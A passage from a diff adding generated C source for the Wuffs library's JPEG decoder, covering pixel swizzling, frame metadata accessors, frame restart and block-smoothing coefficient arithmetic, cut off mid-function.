wuffs_base__slice_u8 v_dst = {0}; ++ uint32_t v_y = 0; ++ uint32_t v_y1 = 0; ++ ++ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); ++ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); ++ if ((v_dst_bits_per_pixel & 7u) != 0u) { ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ } ++ v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); ++ v_x0 = ((uint64_t)((v_dst_bytes_per_pixel * wuffs_base__u32__min(a_x0, self->private_impl.f_width)))); ++ v_x1 = ((uint64_t)((v_dst_bytes_per_pixel * wuffs_base__u32__min(a_x1, self->private_impl.f_width)))); ++ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); ++ v_y = a_y0; ++ v_y1 = wuffs_base__u32__min(a_y1, self->private_impl.f_height); ++ while (v_y < v_y1) { ++ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, v_y); ++ if (v_x1 < ((uint64_t)(v_dst.len))) { ++ v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_x1); ++ } ++ if (v_x0 < ((uint64_t)(v_dst.len))) { ++ v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_x0); ++ } else { ++ v_dst = wuffs_base__utility__empty_slice_u8(); ++ } ++ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)), a_workbuf); ++ if (a_stride <= ((uint64_t)(a_workbuf.len))) { ++ a_workbuf = wuffs_base__slice_u8__subslice_i(a_workbuf, a_stride); ++ } else { ++ a_workbuf = wuffs_base__utility__empty_slice_u8(); ++ } ++ v_y += 1u; ++ } ++ return wuffs_base__make_status(NULL); ++} ++ ++// -------- func jpeg.decoder.swizzle_colorful ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__swizzle_colorful( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_x0, ++ uint32_t a_x1, ++ uint32_t a_y0, ++ uint32_t a_y1) { ++ uint64_t v_i = 0; ++ uint64_t v_j = 0; ++ wuffs_base__slice_u8 v_src0 = {0}; ++ wuffs_base__slice_u8 v_src1 = {0}; ++ wuffs_base__slice_u8 v_src2 = {0}; ++ wuffs_base__slice_u8 v_src3 = {0}; ++ uint32_t v_width0 = 0; ++ uint32_t v_width1 = 0; ++ uint32_t v_width2 = 0; ++ uint32_t v_width3 = 0; ++ uint32_t v_height0 = 0; ++ uint32_t v_height1 = 0; ++ uint32_t v_height2 = 0; ++ uint32_t v_height3 = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ if (self->private_impl.f_swizzle_immediately) { ++ v_i = ((uint64_t)(self->private_impl.f_swizzle_immediately_c_offsets[0u])); ++ v_j = ((uint64_t)(self->private_impl.f_swizzle_immediately_c_offsets[1u])); ++ if ((v_i <= v_j) && (v_j <= 640u)) { ++ v_src0 = wuffs_base__make_slice_u8_ij(self->private_data.f_swizzle_immediately_buffer, v_i, v_j); ++ v_width0 = (8u * ((uint32_t)(self->private_impl.f_components_h[0u]))); ++ v_height0 = (8u * ((uint32_t)(self->private_impl.f_components_v[0u]))); ++ } ++ v_i = ((uint64_t)(self->private_impl.f_swizzle_immediately_c_offsets[1u])); ++ v_j = ((uint64_t)(self->private_impl.f_swizzle_immediately_c_offsets[2u])); ++ if ((v_i <= v_j) && (v_j <= 640u)) { ++ v_src1 = wuffs_base__make_slice_u8_ij(self->private_data.f_swizzle_immediately_buffer, v_i, v_j); ++ v_width1 = (8u * ((uint32_t)(self->private_impl.f_components_h[1u]))); ++ v_height1 = (8u * ((uint32_t)(self->private_impl.f_components_v[1u]))); ++ } ++ v_i = ((uint64_t)(self->private_impl.f_swizzle_immediately_c_offsets[2u])); ++ v_j = ((uint64_t)(self->private_impl.f_swizzle_immediately_c_offsets[3u])); ++ if ((v_i <= v_j) && (v_j <= 640u)) { ++ v_src2 = wuffs_base__make_slice_u8_ij(self->private_data.f_swizzle_immediately_buffer, v_i, v_j); ++ v_width2 = (8u * ((uint32_t)(self->private_impl.f_components_h[2u]))); ++ v_height2 = (8u * ((uint32_t)(self->private_impl.f_components_v[2u]))); ++ } ++ v_i = ((uint64_t)(self->private_impl.f_swizzle_immediately_c_offsets[3u])); ++ v_j = ((uint64_t)(self->private_impl.f_swizzle_immediately_c_offsets[4u])); ++ if ((v_i <= v_j) && (v_j <= 640u)) { ++ v_src3 = wuffs_base__make_slice_u8_ij(self->private_data.f_swizzle_immediately_buffer, v_i, v_j); ++ v_width3 = (8u * ((uint32_t)(self->private_impl.f_components_h[3u]))); ++ v_height3 = (8u * ((uint32_t)(self->private_impl.f_components_v[3u]))); ++ } ++ } else { ++ if ((self->private_impl.f_components_workbuf_offsets[0u] <= self->private_impl.f_components_workbuf_offsets[1u]) && (self->private_impl.f_components_workbuf_offsets[1u] <= ((uint64_t)(a_workbuf.len)))) { ++ v_src0 = wuffs_base__slice_u8__subslice_ij(a_workbuf, ++ self->private_impl.f_components_workbuf_offsets[0u], ++ self->private_impl.f_components_workbuf_offsets[1u]); ++ v_width0 = self->private_impl.f_components_workbuf_widths[0u]; ++ v_height0 = self->private_impl.f_components_workbuf_heights[0u]; ++ } ++ if ((self->private_impl.f_components_workbuf_offsets[1u] <= self->private_impl.f_components_workbuf_offsets[2u]) && (self->private_impl.f_components_workbuf_offsets[2u] <= ((uint64_t)(a_workbuf.len)))) { ++ v_src1 = wuffs_base__slice_u8__subslice_ij(a_workbuf, ++ self->private_impl.f_components_workbuf_offsets[1u], ++ self->private_impl.f_components_workbuf_offsets[2u]); ++ v_width1 = self->private_impl.f_components_workbuf_widths[1u]; ++ v_height1 = self->private_impl.f_components_workbuf_heights[1u]; ++ } ++ if ((self->private_impl.f_components_workbuf_offsets[2u] <= self->private_impl.f_components_workbuf_offsets[3u]) && (self->private_impl.f_components_workbuf_offsets[3u] <= ((uint64_t)(a_workbuf.len)))) { ++ v_src2 = wuffs_base__slice_u8__subslice_ij(a_workbuf, ++ self->private_impl.f_components_workbuf_offsets[2u], ++ self->private_impl.f_components_workbuf_offsets[3u]); ++ v_width2 = self->private_impl.f_components_workbuf_widths[2u]; ++ v_height2 = self->private_impl.f_components_workbuf_heights[2u]; ++ } ++ if ((self->private_impl.f_components_workbuf_offsets[3u] <= self->private_impl.f_components_workbuf_offsets[4u]) && (self->private_impl.f_components_workbuf_offsets[4u] <= ((uint64_t)(a_workbuf.len)))) { ++ v_src3 = wuffs_base__slice_u8__subslice_ij(a_workbuf, ++ self->private_impl.f_components_workbuf_offsets[3u], ++ self->private_impl.f_components_workbuf_offsets[4u]); ++ v_width3 = self->private_impl.f_components_workbuf_widths[3u]; ++ v_height3 = self->private_impl.f_components_workbuf_heights[3u]; ++ } ++ } ++ v_status = wuffs_base__pixel_swizzler__swizzle_ycck(&self->private_impl.f_swizzler, ++ a_dst, ++ wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)), ++ (a_x0 & 65535u), ++ wuffs_base__u32__min(a_x1, self->private_impl.f_width), ++ (a_y0 & 65535u), ++ wuffs_base__u32__min(a_y1, self->private_impl.f_height), ++ v_src0, ++ v_src1, ++ v_src2, ++ v_src3, ++ v_width0, ++ v_width1, ++ v_width2, ++ v_width3, ++ v_height0, ++ v_height1, ++ v_height2, ++ v_height3, ++ v_width0, ++ v_width1, ++ v_width2, ++ v_width3, ++ self->private_impl.f_components_h[0u], ++ self->private_impl.f_components_h[1u], ++ self->private_impl.f_components_h[2u], ++ self->private_impl.f_components_h[3u], ++ self->private_impl.f_components_v[0u], ++ self->private_impl.f_components_v[1u], ++ self->private_impl.f_components_v[2u], ++ self->private_impl.f_components_v[3u], ++ self->private_impl.f_is_rgb_or_cmyk, ++ ! self->private_impl.f_use_lower_quality, ++ wuffs_base__make_slice_u8(self->private_data.f_swizzle_ycck_scratch_buffer_2k, 2048)); ++ return wuffs_private_impl__status__ensure_not_a_suspension(v_status); ++} ++ ++// -------- func jpeg.decoder.frame_dirty_rect ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 ++wuffs_jpeg__decoder__frame_dirty_rect( ++ const wuffs_jpeg__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_rect_ie_u32(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_rect_ie_u32(); ++ } ++ ++ return wuffs_base__utility__make_rect_ie_u32( ++ 0u, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height); ++} ++ ++// -------- func jpeg.decoder.num_animation_loops ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_jpeg__decoder__num_animation_loops( ++ const wuffs_jpeg__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ return 0u; ++} ++ ++// -------- func jpeg.decoder.num_decoded_frame_configs ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_jpeg__decoder__num_decoded_frame_configs( ++ const wuffs_jpeg__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ if (self->private_impl.f_call_sequence > 32u) { ++ return 1u; ++ } ++ return 0u; ++} ++ ++// -------- func jpeg.decoder.num_decoded_frames ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_jpeg__decoder__num_decoded_frames( ++ const wuffs_jpeg__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ if (self->private_impl.f_call_sequence > 64u) { ++ return 1u; ++ } ++ return 0u; ++} ++ ++// -------- func jpeg.decoder.restart_frame ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_jpeg__decoder__restart_frame( ++ wuffs_jpeg__decoder* self, ++ uint64_t a_index, ++ uint64_t a_io_position) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ ++ uint32_t v_i = 0; ++ uint32_t v_j = 0; ++ ++ if (self->private_impl.f_call_sequence < 32u) { ++ return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ } ++ if (a_index != 0u) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ self->private_impl.f_call_sequence = 40u; ++ self->private_impl.f_bitstream_is_closed = false; ++ self->private_impl.f_expect_multiple_scans = false; ++ self->private_impl.f_frame_config_io_position = a_io_position; ++ self->private_impl.f_scan_count = 0u; ++ self->private_impl.f_restart_interval = self->private_impl.f_saved_restart_interval; ++ v_i = 0u; ++ while (v_i < 4u) { ++ self->private_impl.f_seen_dqt[v_i] = self->private_impl.f_saved_seen_dqt[v_i]; ++ v_j = 0u; ++ while (v_j < 64u) { ++ self->private_impl.f_quant_tables[v_i][v_j] = self->private_impl.f_saved_quant_tables[v_i][v_j]; ++ v_j += 1u; ++ } ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 4u) { ++ v_j = 0u; ++ while (v_j < 10u) { ++ self->private_impl.f_block_smoothing_lowest_scan_al[v_i][v_j] = 16u; ++ v_j += 1u; ++ } ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 8u) { ++ self->private_impl.f_seen_dht[v_i] = false; ++ v_i += 1u; ++ } ++ return wuffs_base__make_status(NULL); ++} ++ ++// -------- func jpeg.decoder.set_report_metadata ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_jpeg__decoder__set_report_metadata( ++ wuffs_jpeg__decoder* self, ++ uint32_t a_fourcc, ++ bool a_report) { ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func jpeg.decoder.tell_me_more ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_jpeg__decoder__tell_me_more( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 4)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ status = wuffs_base__make_status(wuffs_base__error__no_more_information); ++ goto exit; ++ ++ goto ok; ++ ok: ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func jpeg.decoder.workbuf_len ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_jpeg__decoder__workbuf_len( ++ const wuffs_jpeg__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ ++ if (self->private_impl.f_use_lower_quality && (self->private_impl.f_sof_marker < 194u)) { ++ return wuffs_base__utility__make_range_ii_u64(0u, self->private_impl.f_components_workbuf_offsets[8u]); ++ } ++ return wuffs_base__utility__make_range_ii_u64(self->private_impl.f_components_workbuf_offsets[8u], self->private_impl.f_components_workbuf_offsets[8u]); ++} ++ ++// -------- func jpeg.decoder.top_left_quants_has_zero ++ ++WUFFS_BASE__GENERATED_C_CODE ++static bool ++wuffs_jpeg__decoder__top_left_quants_has_zero( ++ const wuffs_jpeg__decoder* self, ++ uint32_t a_q) { ++ return ((self->private_impl.f_quant_tables[a_q][0u] == 0u) || ++ (self->private_impl.f_quant_tables[a_q][1u] == 0u) || ++ (self->private_impl.f_quant_tables[a_q][2u] == 0u) || ++ (self->private_impl.f_quant_tables[a_q][3u] == 0u) || ++ (self->private_impl.f_quant_tables[a_q][8u] == 0u) || ++ (self->private_impl.f_quant_tables[a_q][9u] == 0u) || ++ (self->private_impl.f_quant_tables[a_q][10u] == 0u) || ++ (self->private_impl.f_quant_tables[a_q][16u] == 0u) || ++ (self->private_impl.f_quant_tables[a_q][17u] == 0u) || ++ (self->private_impl.f_quant_tables[a_q][24u] == 0u)); ++} ++ ++// -------- func jpeg.decoder.load_mcu_blocks_for_single_component_smooth ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_jpeg__decoder__load_mcu_blocks_for_single_component_smooth( ++ wuffs_jpeg__decoder* self, ++ uint32_t a_mx, ++ uint32_t a_my, ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_csel) { ++ uint64_t v_stride16 = 0; ++ uint64_t v_offset = 0; ++ uint32_t v_dx = 0; ++ uint32_t v_dy = 0; ++ uint32_t v_mx = 0; ++ uint32_t v_my = 0; ++ uint8_t v_q = 0; ++ uint32_t v_q_00 = 0; ++ uint32_t v_q_xy = 0; ++ uint8_t v_al = 0; ++ uint32_t v_scratch = 0; ++ uint32_t v_limit = 0; ++ ++ v_stride16 = ((uint64_t)((self->private_impl.f_components_workbuf_widths[a_csel] * 16u))); ++ v_offset = (self->private_impl.f_components_workbuf_offsets[(a_csel | 4u)] + (((uint64_t)(a_mx)) * 128u) + (((uint64_t)(a_my)) * v_stride16)); ++ if (v_offset <= ((uint64_t)(a_workbuf.len))) { ++ wuffs_private_impl__bulk_load_host_endian(&self->private_data.f_mcu_blocks[0], 1u * (size_t)128u, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset)); ++ } ++ v_dy = 0u; ++ while (v_dy < 5u) { ++ v_my = wuffs_base__u32__min(self->private_impl.f_block_smoothing_my_max_incl, wuffs_base__u32__sat_sub((a_my + v_dy), 2u)); ++ v_dx = 0u; ++ while (v_dx < 5u) { ++ v_mx = wuffs_base__u32__min(self->private_impl.f_block_smoothing_mx_max_incl, wuffs_base__u32__sat_sub((a_mx + v_dx), 2u)); ++ v_offset = (self->private_impl.f_components_workbuf_offsets[(a_csel | 4u)] + (((uint64_t)(v_mx)) * 128u) + (((uint64_t)(v_my)) * v_stride16)); ++ if (v_offset <= ((uint64_t)(a_workbuf.len))) { ++ wuffs_private_impl__bulk_load_host_endian(&self->private_impl.f_block_smoothing_dc_values[v_dy][v_dx], 1u * (size_t)2u, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset)); ++ } ++ v_dx += 1u; ++ } ++ v_dy += 1u; ++ } ++ v_q = self->private_impl.f_components_tq[a_csel]; ++ v_q_00 = ((uint32_t)(self->private_impl.f_quant_tables[v_q][0u])); ++ if (v_q_00 <= 0u) { ++ return wuffs_base__make_empty_struct(); ++ } ++ if (0u != (16u & ++ self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][1u] & ++ self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][2u] & ++ self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][3u] & ++ self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][4u] & ++ self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][5u] & ++ self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][6u] & ++ self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][7u] & ++ self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][8u] & ++ self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][9u])) { ++ v_scratch = 0u; ++ v_scratch += ((uint32_t)(4294967294u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); ++ v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); ++ v_scratch += ((uint32_t)(4294967288u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); ++ v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); ++ v_scratch += ((uint32_t)(4294967294u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); ++ v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); ++ v_scratch += ((uint32_t)(6u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); ++ v_scratch += ((uint32_t)(42u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); ++ v_scratch += ((uint32_t)(6u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); ++ v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); ++ v_scratch += ((uint32_t)(4294967288u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); ++ v_scratch += ((uint32_t)(42u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); ++ v_scratch += ((uint32_t)(152u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); ++ v_scratch += ((uint32_t)(42u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); ++ v_scratch += ((uint32_t)(4294967288u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); ++ v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); ++ v_scratch += ((uint32_t)(6u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); ++ v_scratch += ((uint32_t)(42u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); ++ v_scratch += ((uint32_t)(6u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); ++ v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); ++ v_scratch += ((uint32_t)(4294967294u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); ++ v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); ++ v_scratch += ((uint32_t)(4294967288u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); ++ v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); ++ v_scratch += ((uint32_t)(4294967294u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); ++ if (v_scratch < 2147483648u) { ++ v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + 128u)) / 256u))); ++ } else { ++ v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + 128u)) / 256u))); ++ } ++ self->private_data.f_mcu_blocks[0u][0u] = ((uint16_t)(v_scratch)); ++ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][1u])); ++ if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][1u] == 0u)) { ++ v_scratch = 0u; ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); ++ v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); ++ v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); ++ v_scratch += ((uint32_t)(4294967283u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); ++ v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); ++ v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); ++ v_scratch += ((uint32_t)(38u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); ++ v_scratch += ((uint32_t)(4294967258u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); ++ v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); ++ v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); ++ v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); ++ v_scratch += ((uint32_t)(4294967283u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); ++ v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); ++ v_scratch *= v_q_00; ++ if (v_scratch < 2147483648u) { ++ v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); ++ } else { ++ v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); ++ } ++ self->private_data.f_mcu_blocks[0u][1u] = ((uint16_t)(v_scratch)); ++ } ++ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][2u])); ++ if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][2u] == 0u)) { ++ v_scratch = 0u; ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); ++ v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); ++ v_scratch += ((uint32_t)(4294967291u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); ++ v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); ++ v_scratch += ((uint32_t)(1u * 